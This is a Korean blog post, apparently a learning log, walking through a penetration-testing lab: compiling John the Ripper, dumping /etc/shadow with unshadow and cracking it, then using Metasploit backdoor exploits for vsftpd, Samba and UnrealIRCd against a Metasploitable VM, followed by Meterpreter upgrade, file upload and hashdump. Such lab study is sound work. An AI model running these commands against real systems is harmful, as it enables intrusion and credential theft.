2024. 6. 12. 17:29ㆍLinux/CentOS7
john the reaper
Kali OS에선john 명령어로
기본적으로 사용 가능한 프로그램이지만
CentOS에선 기본으로 내장되지 않기 때문에
설치해주어야 한다!
직접 John C소스 파일 받아서
압축을 풀어보자
vi john-1.7.8/src/Makefile
------------------------------------------------------
LDFLAGS = -s -lcrypt
------------------------------------------------------
수정이후 아래 명렁어 실행
cd /root/john-1.7.8/src
make
make clean linux-x86-64
첫줄에 해당 문구를 추가하자
그후 make 명령어들을 실행하자
make 명령어는
Makefile안에
여러 가지 해야할 일들을 미리 선언하거나
그룹핑하여 이를 쉽고 편하게 실행할 수 있는 명렁어다.
다시 john 디렉터리에서
cd run
./unshadow /etc/passwd /etc/shadow > password.txt
run 디렉터리로 이동해 unshadow를 실행해
passwd, shadow 파일을 password.txt로 덤핑해주자!
./john --wordlist=password.lst ./password.txt
그리거 kali때와 비슷하게
기본 내장된 wordlist인 password.lst 파일을 지정해주고
덤핑파일을 크랙해보자
그러면 워드리스트와 매칭되는 패스워드들은
모두 크랙되는 걸 볼 수있다.
Metastploit
메타스플로잇을 centos에서도 실습해보자
먼저 192.168.10.128의 IP를 가진 metasploitable 서버 하나를 사전 생성해주었다.
metasploitable은 취약점이 존재하는 os를
모의해킹등의 실습을 위해 만들어둔 것이다!
이를 다운로드 받아서 IP로 웹 접속을 해보면
위 사진처럼 기본적인 Web 패키지들이 설치되어 있다.
Kali에서 msfconsole로
vsftp 서버의 취약점을 공격해보자
use exploit/unix/ftp/vsftpd_234_backdoor
set payload cmd/unix/interact
set rhost 192.168.10.128
exploit
sessions 명령어로 쉘 권한을 획득할 수 있다.
리눅스도 마찬가지로 이후에 meterpreter를 사용하면 더 다양하게 공격할 수 있다.
먼저 Ctrl + z 키로 현재 세션을 백그라운드로 돌려주자
sessions
해당 명령어로 현재 세션들을 확인할 수 있다.
use post/multi/manage/shell_to_meterpreter
set session 1
exploit
미터프리터 공격을 실시해주자
공격 후 세션을 확인해보면 2번째 세션이
미터프리터로 생성된게 보인다.
2번 세션에 접속해보면 미터프리터 공격이 가능하다!
하지만 리눅스는
스크린샷이나 스크린쉐어를 할 수없다..
지금 배운 걸로는 막상 사용해볼게 몇가지 없다.
upload -r /root/malware.txt
upload -r /root/malware.txt /home/malware.txt
업로드 명령어로 예시로만든 파일을
공격대상자에 업로드 해보자
공격 대상자에서 확인해보면
malware.txt가 업로드된 걸 볼 수있다!
해쉬덤프도 가능하다!
run post/linux/gather/hashdump
이후 해쉬덤프 내용을 복사해 txt 파일에 붙여넣은 뒤
john으로 해쉬 크랙을 진행하자
( post/linux/gather 경로에는 정보수집 공격관련 파일이 모여있다)
john aa.txt
또는
john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt aa.txt
크랙이 순조롭게 진행된다.
enum 명렁어도 가능하다!
run post/linux/gather/enum_network
네트워크 정보도 수집했다!
run post/linux/gather/enum_protections
위 명령어로 보호되고있는 것들도 확인해볼 수 있다.
그런데 ufw가 활성화 된게 보이는데
모든 공격에 허술하게 뚫리는 것 같아서
nmap 명령어로 포트를 확인해봤다
확인해보니 모든 포트가 열려있는 상태였다..
메타플로이터블의 초기상태가 모두 개방된 상태인것 같다.
samba의 취약점도 공격해보자
use exploit/multi/samba/usermap_script
set payload cmd/unix/bind_ruby
set rhost 192.168.10.128
exploit
위 명령어로 공격 대상과 공격을 실시한뒤
미터프리터로 후속공격을 해보자
back
use post/multi/manage/shell_to_meterpreter
set session 1
exploit
위 명령어를 실행한 뒤에 root 권한이 획득됐는지 확인하자
root 권한 확인!
IRC 취약점 공격
IRC는 예전에 많이 사용하던 인터넷 채팅 프로토콜이다
use exploit/unix/irc/unreal_ircd_3281_backdoor
set payload cmd/unix/bind_ruby
set rhost 192.168.10.128
exploit
비슷하게 root 권한을 획득할 수 있다.
이처럼 exploit/unix/ 경로의 모듈들을 살펴보면서
root 권한을 습득할 수 있는 모듈을 한번 찾아보았다.
splunk_xslt_authenticated_rce
CVE-2023-46214
exploit/unix/webapp/basilic_diff_exec
CVE-2012-3399
exploit/unix/webapp/cacti_graphimage_exec
EDB-ID: 16881
exploit/unix/webapp/mitel_awc_exec
EDB-ID: 15807
4가지만 찾아보았는데
모두 검색해보면 취약점 코드가 부여되어있는 모듈들이였다.
이상으로
CentOS에서 침투실습을 해보았다.
'Linux > CentOS7' 카테고리의 다른 글
Linux 32 . 리눅스의 암호체계 (0) | 2024.06.12 |
---|---|
Linux 31 . PXE 부팅 시스템 (0) | 2024.05.14 |
Linux 30 . Database 한글 (0) | 2024.05.13 |
Linux 29. Database 이중화 (0) | 2024.05.10 |
Linux 27. XE로 웹서비스 (0) | 2024.05.07 |